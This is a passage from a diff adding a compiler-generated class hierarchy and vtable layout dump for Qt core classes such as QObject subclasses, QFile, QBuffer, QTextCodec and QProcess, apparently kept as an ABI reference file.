+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QLibrary
+ size=16 align=4
+ base size=13 base align=4
+QLibrary (0xb4c1b040) 0
+ vptr=((& QLibrary::_ZTV8QLibrary) + 8u)
+ QObject (0xb4be5d20) 0
+ primary-for QLibrary (0xb4c1b040)
+
+Vtable for QPluginLoader
+QPluginLoader::_ZTV13QPluginLoader: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QPluginLoader)
+8 QPluginLoader::metaObject
+12 QPluginLoader::qt_metacast
+16 QPluginLoader::qt_metacall
+20 QPluginLoader::~QPluginLoader
+24 QPluginLoader::~QPluginLoader
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QPluginLoader
+ size=16 align=4
+ base size=13 base align=4
+QPluginLoader (0xb4c1be80) 0
+ vptr=((& QPluginLoader::_ZTV13QPluginLoader) + 8u)
+ QObject (0xb4be5fb4) 0
+ primary-for QPluginLoader (0xb4c1be80)
+
+Class QUuid
+ size=16 align=4
+ base size=16 base align=4
+QUuid (0xb4a500f0) 0
+
+Vtable for QEventLoop
+QEventLoop::_ZTV10QEventLoop: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QEventLoop)
+8 QEventLoop::metaObject
+12 QEventLoop::qt_metacast
+16 QEventLoop::qt_metacall
+20 QEventLoop::~QEventLoop
+24 QEventLoop::~QEventLoop
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QEventLoop
+ size=8 align=4
+ base size=8 base align=4
+QEventLoop (0xb4a51700) 0
+ vptr=((& QEventLoop::_ZTV10QEventLoop) + 8u)
+ QObject (0xb4a650f0) 0
+ primary-for QEventLoop (0xb4a51700)
+
+Vtable for QAbstractEventDispatcher
+QAbstractEventDispatcher::_ZTV24QAbstractEventDispatcher: 27u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI24QAbstractEventDispatcher)
+8 QAbstractEventDispatcher::metaObject
+12 QAbstractEventDispatcher::qt_metacast
+16 QAbstractEventDispatcher::qt_metacall
+20 QAbstractEventDispatcher::~QAbstractEventDispatcher
+24 QAbstractEventDispatcher::~QAbstractEventDispatcher
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 __cxa_pure_virtual
+68 __cxa_pure_virtual
+72 __cxa_pure_virtual
+76 __cxa_pure_virtual
+80 __cxa_pure_virtual
+84 __cxa_pure_virtual
+88 __cxa_pure_virtual
+92 __cxa_pure_virtual
+96 __cxa_pure_virtual
+100 QAbstractEventDispatcher::startingUp
+104 QAbstractEventDispatcher::closingDown
+
+Class QAbstractEventDispatcher
+ size=8 align=4
+ base size=8 base align=4
+QAbstractEventDispatcher (0xb4a51b00) 0
+ vptr=((& QAbstractEventDispatcher::_ZTV24QAbstractEventDispatcher) + 8u)
+ QObject (0xb4a653fc) 0
+ primary-for QAbstractEventDispatcher (0xb4a51b00)
+
+Class QModelIndex
+ size=16 align=4
+ base size=16 base align=4
+QModelIndex (0xb4a65618) 0
+
+Class QPersistentModelIndex
+ size=4 align=4
+ base size=4 base align=4
+QPersistentModelIndex (0xb4aa7ac8) 0
+
+Vtable for QAbstractItemModel
+QAbstractItemModel::_ZTV18QAbstractItemModel: 42u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI18QAbstractItemModel)
+8 QAbstractItemModel::metaObject
+12 QAbstractItemModel::qt_metacast
+16 QAbstractItemModel::qt_metacall
+20 QAbstractItemModel::~QAbstractItemModel
+24 QAbstractItemModel::~QAbstractItemModel
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 __cxa_pure_virtual
+68 __cxa_pure_virtual
+72 QAbstractItemModel::hasChildren
+76 __cxa_pure_virtual
+80 QAbstractItemModel::setData
+84 QAbstractItemModel::headerData
+88 QAbstractItemModel::setHeaderData
+92 QAbstractItemModel::itemData
+96 QAbstractItemModel::setItemData
+100 QAbstractItemModel::mimeTypes
+104 QAbstractItemModel::mimeData
+108 QAbstractItemModel::dropMimeData
+112 QAbstractItemModel::supportedDropActions
+116 QAbstractItemModel::insertRows
+120 QAbstractItemModel::insertColumns
+124 QAbstractItemModel::removeRows
+128 QAbstractItemModel::removeColumns
+132 QAbstractItemModel::fetchMore
+136 QAbstractItemModel::canFetchMore
+140 QAbstractItemModel::flags
+144 QAbstractItemModel::sort
+148 QAbstractItemModel::buddy
+152 QAbstractItemModel::match
+156 QAbstractItemModel::span
+160 QAbstractItemModel::submit
+164 QAbstractItemModel::revert
+
+Class QAbstractItemModel
+ size=8 align=4
+ base size=8 base align=4
+QAbstractItemModel (0xb4aa3740) 0
+ vptr=((& QAbstractItemModel::_ZTV18QAbstractItemModel) + 8u)
+ QObject (0xb4aa7c30) 0
+ primary-for QAbstractItemModel (0xb4aa3740)
+
+Vtable for QAbstractTableModel
+QAbstractTableModel::_ZTV19QAbstractTableModel: 42u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QAbstractTableModel)
+8 QAbstractTableModel::metaObject
+12 QAbstractTableModel::qt_metacast
+16 QAbstractTableModel::qt_metacall
+20 QAbstractTableModel::~QAbstractTableModel
+24 QAbstractTableModel::~QAbstractTableModel
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QAbstractTableModel::index
+60 QAbstractTableModel::parent
+64 __cxa_pure_virtual
+68 __cxa_pure_virtual
+72 QAbstractTableModel::hasChildren
+76 __cxa_pure_virtual
+80 QAbstractItemModel::setData
+84 QAbstractItemModel::headerData
+88 QAbstractItemModel::setHeaderData
+92 QAbstractItemModel::itemData
+96 QAbstractItemModel::setItemData
+100 QAbstractItemModel::mimeTypes
+104 QAbstractItemModel::mimeData
+108 QAbstractTableModel::dropMimeData
+112 QAbstractItemModel::supportedDropActions
+116 QAbstractItemModel::insertRows
+120 QAbstractItemModel::insertColumns
+124 QAbstractItemModel::removeRows
+128 QAbstractItemModel::removeColumns
+132 QAbstractItemModel::fetchMore
+136 QAbstractItemModel::canFetchMore
+140 QAbstractItemModel::flags
+144 QAbstractItemModel::sort
+148 QAbstractItemModel::buddy
+152 QAbstractItemModel::match
+156 QAbstractItemModel::span
+160 QAbstractItemModel::submit
+164 QAbstractItemModel::revert
+
+Class QAbstractTableModel
+ size=8 align=4
+ base size=8 base align=4
+QAbstractTableModel (0xb4aa3d80) 0
+ vptr=((& QAbstractTableModel::_ZTV19QAbstractTableModel) + 8u)
+ QAbstractItemModel (0xb4aa3dc0) 0
+ primary-for QAbstractTableModel (0xb4aa3d80)
+ QObject (0xb4ae15a0) 0
+ primary-for QAbstractItemModel (0xb4aa3dc0)
+
+Vtable for QAbstractListModel
+QAbstractListModel::_ZTV18QAbstractListModel: 42u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI18QAbstractListModel)
+8 QAbstractListModel::metaObject
+12 QAbstractListModel::qt_metacast
+16 QAbstractListModel::qt_metacall
+20 QAbstractListModel::~QAbstractListModel
+24 QAbstractListModel::~QAbstractListModel
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QAbstractListModel::index
+60 QAbstractListModel::parent
+64 __cxa_pure_virtual
+68 QAbstractListModel::columnCount
+72 QAbstractListModel::hasChildren
+76 __cxa_pure_virtual
+80 QAbstractItemModel::setData
+84 QAbstractItemModel::headerData
+88 QAbstractItemModel::setHeaderData
+92 QAbstractItemModel::itemData
+96 QAbstractItemModel::setItemData
+100 QAbstractItemModel::mimeTypes
+104 QAbstractItemModel::mimeData
+108 QAbstractListModel::dropMimeData
+112 QAbstractItemModel::supportedDropActions
+116 QAbstractItemModel::insertRows
+120 QAbstractItemModel::insertColumns
+124 QAbstractItemModel::removeRows
+128 QAbstractItemModel::removeColumns
+132 QAbstractItemModel::fetchMore
+136 QAbstractItemModel::canFetchMore
+140 QAbstractItemModel::flags
+144 QAbstractItemModel::sort
+148 QAbstractItemModel::buddy
+152 QAbstractItemModel::match
+156 QAbstractItemModel::span
+160 QAbstractItemModel::submit
+164 QAbstractItemModel::revert
+
+Class QAbstractListModel
+ size=8 align=4
+ base size=8 base align=4
+QAbstractListModel (0xb4af2000) 0
+ vptr=((& QAbstractListModel::_ZTV18QAbstractListModel) + 8u)
+ QAbstractItemModel (0xb4af2040) 0
+ primary-for QAbstractListModel (0xb4af2000)
+ QObject (0xb4ae16cc) 0
+ primary-for QAbstractItemModel (0xb4af2040)
+
+Class QBasicTimer
+ size=4 align=4
+ base size=4 base align=4
+QBasicTimer (0xb4b055a0) 0
+
+Vtable for QCoreApplication
+QCoreApplication::_ZTV16QCoreApplication: 16u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI16QCoreApplication)
+8 QCoreApplication::metaObject
+12 QCoreApplication::qt_metacast
+16 QCoreApplication::qt_metacall
+20 QCoreApplication::~QCoreApplication
+24 QCoreApplication::~QCoreApplication
+28 QCoreApplication::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QCoreApplication::notify
+60 QCoreApplication::compressEvent
+
+Class QCoreApplication
+ size=8 align=4
+ base size=8 base align=4
+QCoreApplication (0xb4af2b00) 0
+ vptr=((& QCoreApplication::_ZTV16QCoreApplication) + 8u)
+ QObject (0xb4b05834) 0
+ primary-for QCoreApplication (0xb4af2b00)
+
+Class __exception
+ size=32 align=4
+ base size=32 base align=4
+__exception (0xb4b05dd4) 0
+
+Class QMetaMethod
+ size=8 align=4
+ base size=8 base align=4
+QMetaMethod (0xb4960b04) 0
+
+Class QMetaEnum
+ size=8 align=4
+ base size=8 base align=4
+QMetaEnum (0xb4960e10) 0
+
+Class QMetaProperty
+ size=20 align=4
+ base size=20 base align=4
+QMetaProperty (0xb4985078) 0
+
+Class QMetaClassInfo
+ size=8 align=4
+ base size=8 base align=4
+QMetaClassInfo (0xb498512c) 0
+
+Vtable for QMimeData
+QMimeData::_ZTV9QMimeData: 17u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QMimeData)
+8 QMimeData::metaObject
+12 QMimeData::qt_metacast
+16 QMimeData::qt_metacall
+20 QMimeData::~QMimeData
+24 QMimeData::~QMimeData
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QMimeData::hasFormat
+60 QMimeData::formats
+64 QMimeData::retrieveData
+
+Class QMimeData
+ size=8 align=4
+ base size=8 base align=4
+QMimeData (0xb496e940) 0
+ vptr=((& QMimeData::_ZTV9QMimeData) + 8u)
+ QObject (0xb4985384) 0
+ primary-for QMimeData (0xb496e940)
+
+Vtable for QObjectCleanupHandler
+QObjectCleanupHandler::_ZTV21QObjectCleanupHandler: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI21QObjectCleanupHandler)
+8 QObjectCleanupHandler::metaObject
+12 QObjectCleanupHandler::qt_metacast
+16 QObjectCleanupHandler::qt_metacall
+20 QObjectCleanupHandler::~QObjectCleanupHandler
+24 QObjectCleanupHandler::~QObjectCleanupHandler
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QObjectCleanupHandler
+ size=12 align=4
+ base size=12 base align=4
+QObjectCleanupHandler (0xb496ec00) 0
+ vptr=((& QObjectCleanupHandler::_ZTV21QObjectCleanupHandler) + 8u)
+ QObject (0xb49855a0) 0
+ primary-for QObjectCleanupHandler (0xb496ec00)
+
+Vtable for QSharedMemory
+QSharedMemory::_ZTV13QSharedMemory: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QSharedMemory)
+8 QSharedMemory::metaObject
+12 QSharedMemory::qt_metacast
+16 QSharedMemory::qt_metacall
+20 QSharedMemory::~QSharedMemory
+24 QSharedMemory::~QSharedMemory
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QSharedMemory
+ size=8 align=4
+ base size=8 base align=4
+QSharedMemory (0xb496ee40) 0
+ vptr=((& QSharedMemory::_ZTV13QSharedMemory) + 8u)
+ QObject (0xb49856cc) 0
+ primary-for QSharedMemory (0xb496ee40)
+
+Vtable for QSignalMapper
+QSignalMapper::_ZTV13QSignalMapper: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QSignalMapper)
+8 QSignalMapper::metaObject
+12 QSignalMapper::qt_metacast
+16 QSignalMapper::qt_metacall
+20 QSignalMapper::~QSignalMapper
+24 QSignalMapper::~QSignalMapper
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QSignalMapper
+ size=8 align=4
+ base size=8 base align=4
+QSignalMapper (0xb49b6100) 0
+ vptr=((& QSignalMapper::_ZTV13QSignalMapper) + 8u)
+ QObject (0xb49858e8) 0
+ primary-for QSignalMapper (0xb49b6100)
+
+Vtable for QSocketNotifier
+QSocketNotifier::_ZTV15QSocketNotifier: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QSocketNotifier)
+8 QSocketNotifier::metaObject
+12 QSocketNotifier::qt_metacast
+16 QSocketNotifier::qt_metacall
+20 QSocketNotifier::~QSocketNotifier
+24 QSocketNotifier::~QSocketNotifier
+28 QSocketNotifier::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QSocketNotifier
+ size=20 align=4
+ base size=17 base align=4
+QSocketNotifier (0xb49b63c0) 0
+ vptr=((& QSocketNotifier::_ZTV15QSocketNotifier) + 8u)
+ QObject (0xb4985b04) 0
+ primary-for QSocketNotifier (0xb49b63c0)
+
+Class QSystemSemaphore
+ size=4 align=4
+ base size=4 base align=4
+QSystemSemaphore (0xb4985dd4) 0
+
+Vtable for QTimer
+QTimer::_ZTV6QTimer: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI6QTimer)
+8 QTimer::metaObject
+12 QTimer::qt_metacast
+16 QTimer::qt_metacall
+20 QTimer::~QTimer
+24 QTimer::~QTimer
+28 QObject::event
+32 QObject::eventFilter
+36 QTimer::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QTimer
+ size=24 align=4
+ base size=21 base align=4
+QTimer (0xb49b6780) 0
+ vptr=((& QTimer::_ZTV6QTimer) + 8u)
+ QObject (0xb4985e88) 0
+ primary-for QTimer (0xb49b6780)
+
+Vtable for QTranslator
+QTranslator::_ZTV11QTranslator: 16u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QTranslator)
+8 QTranslator::metaObject
+12 QTranslator::qt_metacast
+16 QTranslator::qt_metacall
+20 QTranslator::~QTranslator
+24 QTranslator::~QTranslator
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QTranslator::translate
+60 QTranslator::isEmpty
+
+Class QTranslator
+ size=8 align=4
+ base size=8 base align=4
+QTranslator (0xb49b6cc0) 0
+ vptr=((& QTranslator::_ZTV11QTranslator) + 8u)
+ QObject (0xb49eb12c) 0
+ primary-for QTranslator (0xb49b6cc0)
+
+Class _IO_marker
+ size=12 align=4
+ base size=12 base align=4
+_IO_marker (0xb49eb4ec) 0
+
+Class _IO_FILE
+ size=148 align=4
+ base size=148 base align=4
+_IO_FILE (0xb49eb528) 0
+
+Vtable for QFile
+QFile::_ZTV5QFile: 31u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI5QFile)
+8 QFile::metaObject
+12 QFile::qt_metacast
+16 QFile::qt_metacall
+20 QFile::~QFile
+24 QFile::~QFile
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QFile::isSequential
+60 QFile::open
+64 QFile::close
+68 QFile::pos
+72 QFile::size
+76 QFile::seek
+80 QFile::atEnd
+84 QIODevice::reset
+88 QIODevice::bytesAvailable
+92 QIODevice::bytesToWrite
+96 QIODevice::canReadLine
+100 QIODevice::waitForReadyRead
+104 QIODevice::waitForBytesWritten
+108 QFile::readData
+112 QFile::readLineData
+116 QFile::writeData
+120 QFile::fileEngine
+
+Class QFile
+ size=8 align=4
+ base size=8 base align=4
+QFile (0xb4a001c0) 0
+ vptr=((& QFile::_ZTV5QFile) + 8u)
+ QIODevice (0xb4a00200) 0
+ primary-for QFile (0xb4a001c0)
+ QObject (0xb49eb5a0) 0
+ primary-for QIODevice (0xb4a00200)
+
+Class QFileInfo
+ size=4 align=4
+ base size=4 base align=4
+QFileInfo (0xb49eba14) 0
+
+Class QDir
+ size=4 align=4
+ base size=4 base align=4
+QDir (0xb4883078) 0
+
+Class QAbstractFileEngine::ExtensionOption
+ size=1 align=1
+ base size=0 base align=1
+QAbstractFileEngine::ExtensionOption (0xb48837f8) 0 empty
+
+Class QAbstractFileEngine::ExtensionReturn
+ size=1 align=1
+ base size=0 base align=1
+QAbstractFileEngine::ExtensionReturn (0xb4883834) 0 empty
+
+Class QAbstractFileEngine::MapExtensionOption
+ size=20 align=4
+ base size=20 base align=4
+QAbstractFileEngine::MapExtensionOption (0xb48b5a00) 0
+ QAbstractFileEngine::ExtensionOption (0xb4883870) 0 empty
+
+Class QAbstractFileEngine::MapExtensionReturn
+ size=4 align=4
+ base size=4 base align=4
+QAbstractFileEngine::MapExtensionReturn (0xb48b5a80) 0
+ QAbstractFileEngine::ExtensionReturn (0xb48838ac) 0 empty
+
+Class QAbstractFileEngine::UnMapExtensionOption
+ size=4 align=4
+ base size=4 base align=4
+QAbstractFileEngine::UnMapExtensionOption (0xb48b5b00) 0
+ QAbstractFileEngine::ExtensionOption (0xb48838e8) 0 empty
+
+Vtable for QAbstractFileEngine
+QAbstractFileEngine::_ZTV19QAbstractFileEngine: 36u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QAbstractFileEngine)
+8 QAbstractFileEngine::~QAbstractFileEngine
+12 QAbstractFileEngine::~QAbstractFileEngine
+16 QAbstractFileEngine::open
+20 QAbstractFileEngine::close
+24 QAbstractFileEngine::flush
+28 QAbstractFileEngine::size
+32 QAbstractFileEngine::pos
+36 QAbstractFileEngine::seek
+40 QAbstractFileEngine::isSequential
+44 QAbstractFileEngine::remove
+48 QAbstractFileEngine::copy
+52 QAbstractFileEngine::rename
+56 QAbstractFileEngine::link
+60 QAbstractFileEngine::mkdir
+64 QAbstractFileEngine::rmdir
+68 QAbstractFileEngine::setSize
+72 QAbstractFileEngine::caseSensitive
+76 QAbstractFileEngine::isRelativePath
+80 QAbstractFileEngine::entryList
+84 QAbstractFileEngine::fileFlags
+88 QAbstractFileEngine::setPermissions
+92 QAbstractFileEngine::fileName
+96 QAbstractFileEngine::ownerId
+100 QAbstractFileEngine::owner
+104 QAbstractFileEngine::fileTime
+108 QAbstractFileEngine::setFileName
+112 QAbstractFileEngine::handle
+116 QAbstractFileEngine::beginEntryList
+120 QAbstractFileEngine::endEntryList
+124 QAbstractFileEngine::read
+128 QAbstractFileEngine::readLine
+132 QAbstractFileEngine::write
+136 QAbstractFileEngine::extension
+140 QAbstractFileEngine::supportsExtension
+
+Class QAbstractFileEngine
+ size=8 align=4
+ base size=8 base align=4
+QAbstractFileEngine (0xb48837bc) 0
+ vptr=((& QAbstractFileEngine::_ZTV19QAbstractFileEngine) + 8u)
+
+Vtable for QAbstractFileEngineHandler
+QAbstractFileEngineHandler::_ZTV26QAbstractFileEngineHandler: 5u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI26QAbstractFileEngineHandler)
+8 QAbstractFileEngineHandler::~QAbstractFileEngineHandler
+12 QAbstractFileEngineHandler::~QAbstractFileEngineHandler
+16 __cxa_pure_virtual
+
+Class QAbstractFileEngineHandler
+ size=4 align=4
+ base size=4 base align=4
+QAbstractFileEngineHandler (0xb4883b40) 0 nearly-empty
+ vptr=((& QAbstractFileEngineHandler::_ZTV26QAbstractFileEngineHandler) + 8u)
+
+Vtable for QAbstractFileEngineIterator
+QAbstractFileEngineIterator::_ZTV27QAbstractFileEngineIterator: 9u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI27QAbstractFileEngineIterator)
+8 QAbstractFileEngineIterator::~QAbstractFileEngineIterator
+12 QAbstractFileEngineIterator::~QAbstractFileEngineIterator
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+24 __cxa_pure_virtual
+28 QAbstractFileEngineIterator::currentFileInfo
+32 QAbstractFileEngineIterator::entryInfo
+
+Class QAbstractFileEngineIterator
+ size=8 align=4
+ base size=8 base align=4
+QAbstractFileEngineIterator (0xb4883b7c) 0
+ vptr=((& QAbstractFileEngineIterator::_ZTV27QAbstractFileEngineIterator) + 8u)
+
+Vtable for QBuffer
+QBuffer::_ZTV7QBuffer: 30u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI7QBuffer)
+8 QBuffer::metaObject
+12 QBuffer::qt_metacast
+16 QBuffer::qt_metacall
+20 QBuffer::~QBuffer
+24 QBuffer::~QBuffer
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QBuffer::connectNotify
+52 QBuffer::disconnectNotify
+56 QIODevice::isSequential
+60 QBuffer::open
+64 QBuffer::close
+68 QBuffer::pos
+72 QBuffer::size
+76 QBuffer::seek
+80 QBuffer::atEnd
+84 QIODevice::reset
+88 QIODevice::bytesAvailable
+92 QIODevice::bytesToWrite
+96 QBuffer::canReadLine
+100 QIODevice::waitForReadyRead
+104 QIODevice::waitForBytesWritten
+108 QBuffer::readData
+112 QIODevice::readLineData
+116 QBuffer::writeData
+
+Class QBuffer
+ size=8 align=4
+ base size=8 base align=4
+QBuffer (0xb48b5e40) 0
+ vptr=((& QBuffer::_ZTV7QBuffer) + 8u)
+ QIODevice (0xb48b5e80) 0
+ primary-for QBuffer (0xb48b5e40)
+ QObject (0xb4883bf4) 0
+ primary-for QIODevice (0xb48b5e80)
+
+Class QTextCodec::ConverterState
+ size=28 align=4
+ base size=28 base align=4
+QTextCodec::ConverterState (0xb4883e4c) 0
+
+Vtable for QTextCodec
+QTextCodec::_ZTV10QTextCodec: 9u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QTextCodec)
+8 __cxa_pure_virtual
+12 QTextCodec::aliases
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+24 __cxa_pure_virtual
+28 QTextCodec::~QTextCodec
+32 QTextCodec::~QTextCodec
+
+Class QTextCodec
+ size=4 align=4
+ base size=4 base align=4
+QTextCodec (0xb4883e10) 0 nearly-empty
+ vptr=((& QTextCodec::_ZTV10QTextCodec) + 8u)
+
+Class QTextEncoder
+ size=32 align=4
+ base size=32 base align=4
+QTextEncoder (0xb4749b40) 0
+
+Class QTextDecoder
+ size=32 align=4
+ base size=32 base align=4
+QTextDecoder (0xb4749d98) 0
+
+Vtable for QTextStream
+QTextStream::_ZTV11QTextStream: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QTextStream)
+8 QTextStream::~QTextStream
+12 QTextStream::~QTextStream
+
+Class QTextStream
+ size=8 align=4
+ base size=8 base align=4
+QTextStream (0xb4783000) 0
+ vptr=((& QTextStream::_ZTV11QTextStream) + 8u)
+
+Class QTextStreamManipulator
+ size=24 align=4
+ base size=22 base align=4
+QTextStreamManipulator (0xb4783690) 0
+
+Vtable for QTextIStream
+QTextIStream::_ZTV12QTextIStream: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QTextIStream)
+8 QTextIStream::~QTextIStream
+12 QTextIStream::~QTextIStream
+
+Class QTextIStream
+ size=8 align=4
+ base size=8 base align=4
+QTextIStream (0xb47af880) 0
+ vptr=((& QTextIStream::_ZTV12QTextIStream) + 8u)
+ QTextStream (0xb47d3870) 0
+ primary-for QTextIStream (0xb47af880)
+
+Vtable for QTextOStream
+QTextOStream::_ZTV12QTextOStream: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QTextOStream)
+8 QTextOStream::~QTextOStream
+12 QTextOStream::~QTextOStream
+
+Class QTextOStream
+ size=8 align=4
+ base size=8 base align=4
+QTextOStream (0xb47afb40) 0
+ vptr=((& QTextOStream::_ZTV12QTextOStream) + 8u)
+ QTextStream (0xb47d3f00) 0
+ primary-for QTextOStream (0xb47afb40)
+
+Class QDebug::Stream
+ size=24 align=4
+ base size=22 base align=4
+QDebug::Stream (0xb47e95dc) 0
+
+Class QDebug
+ size=4 align=4
+ base size=4 base align=4
+QDebug (0xb47e95a0) 0
+
+Class QNoDebug
+ size=1 align=1
+ base size=0 base align=1
+QNoDebug (0xb466321c) 0 empty
+
+Vtable for QDirIterator
+QDirIterator::_ZTV12QDirIterator: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QDirIterator)
+8 QDirIterator::~QDirIterator
+12 QDirIterator::~QDirIterator
+
+Class QDirIterator
+ size=8 align=4
+ base size=8 base align=4
+QDirIterator (0xb46634b0) 0
+ vptr=((& QDirIterator::_ZTV12QDirIterator) + 8u)
+
+Vtable for QFileSystemWatcher
+QFileSystemWatcher::_ZTV18QFileSystemWatcher: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI18QFileSystemWatcher)
+8 QFileSystemWatcher::metaObject
+12 QFileSystemWatcher::qt_metacast
+16 QFileSystemWatcher::qt_metacall
+20 QFileSystemWatcher::~QFileSystemWatcher
+24 QFileSystemWatcher::~QFileSystemWatcher
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QFileSystemWatcher
+ size=8 align=4
+ base size=8 base align=4
+QFileSystemWatcher (0xb468d500) 0
+ vptr=((& QFileSystemWatcher::_ZTV18QFileSystemWatcher) + 8u)
+ QObject (0xb4663618) 0
+ primary-for QFileSystemWatcher (0xb468d500)
+
+Vtable for QFSFileEngine
+QFSFileEngine::_ZTV13QFSFileEngine: 36u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QFSFileEngine)
+8 QFSFileEngine::~QFSFileEngine
+12 QFSFileEngine::~QFSFileEngine
+16 QFSFileEngine::open
+20 QFSFileEngine::close
+24 QFSFileEngine::flush
+28 QFSFileEngine::size
+32 QFSFileEngine::pos
+36 QFSFileEngine::seek
+40 QFSFileEngine::isSequential
+44 QFSFileEngine::remove
+48 QFSFileEngine::copy
+52 QFSFileEngine::rename
+56 QFSFileEngine::link
+60 QFSFileEngine::mkdir
+64 QFSFileEngine::rmdir
+68 QFSFileEngine::setSize
+72 QFSFileEngine::caseSensitive
+76 QFSFileEngine::isRelativePath
+80 QFSFileEngine::entryList
+84 QFSFileEngine::fileFlags
+88 QFSFileEngine::setPermissions
+92 QFSFileEngine::fileName
+96 QFSFileEngine::ownerId
+100 QFSFileEngine::owner
+104 QFSFileEngine::fileTime
+108 QFSFileEngine::setFileName
+112 QFSFileEngine::handle
+116 QFSFileEngine::beginEntryList
+120 QFSFileEngine::endEntryList
+124 QFSFileEngine::read
+128 QFSFileEngine::readLine
+132 QFSFileEngine::write
+136 QFSFileEngine::extension
+140 QFSFileEngine::supportsExtension
+
+Class QFSFileEngine
+ size=8 align=4
+ base size=8 base align=4
+QFSFileEngine (0xb468d7c0) 0
+ vptr=((& QFSFileEngine::_ZTV13QFSFileEngine) + 8u)
+ QAbstractFileEngine (0xb4663834) 0
+ primary-for QFSFileEngine (0xb468d7c0)
+
+Class QProcessEnvironment
+ size=4 align=4
+ base size=4 base align=4
+QProcessEnvironment (0xb4663960) 0
+
+Vtable for QProcess
+QProcess::_ZTV8QProcess: 31u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI8QProcess)
+8 QProcess::metaObject
+12 QProcess::qt_metacast
+16 QProcess::qt_metacall
+20 QProcess::~QProcess
+24 QProcess::~QProcess
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QProcess::isSequential
+60 QIODevice::open
+64 QProcess::close
+68 QIODevice::pos
+72 QIODevice::size
+76 QIODevice::seek
+80 QProcess::atEnd
+84 QIODevice::reset
+88 QProcess::bytesAvailable
+92 QProcess::bytesToWrite
+96 QProcess::canReadLine
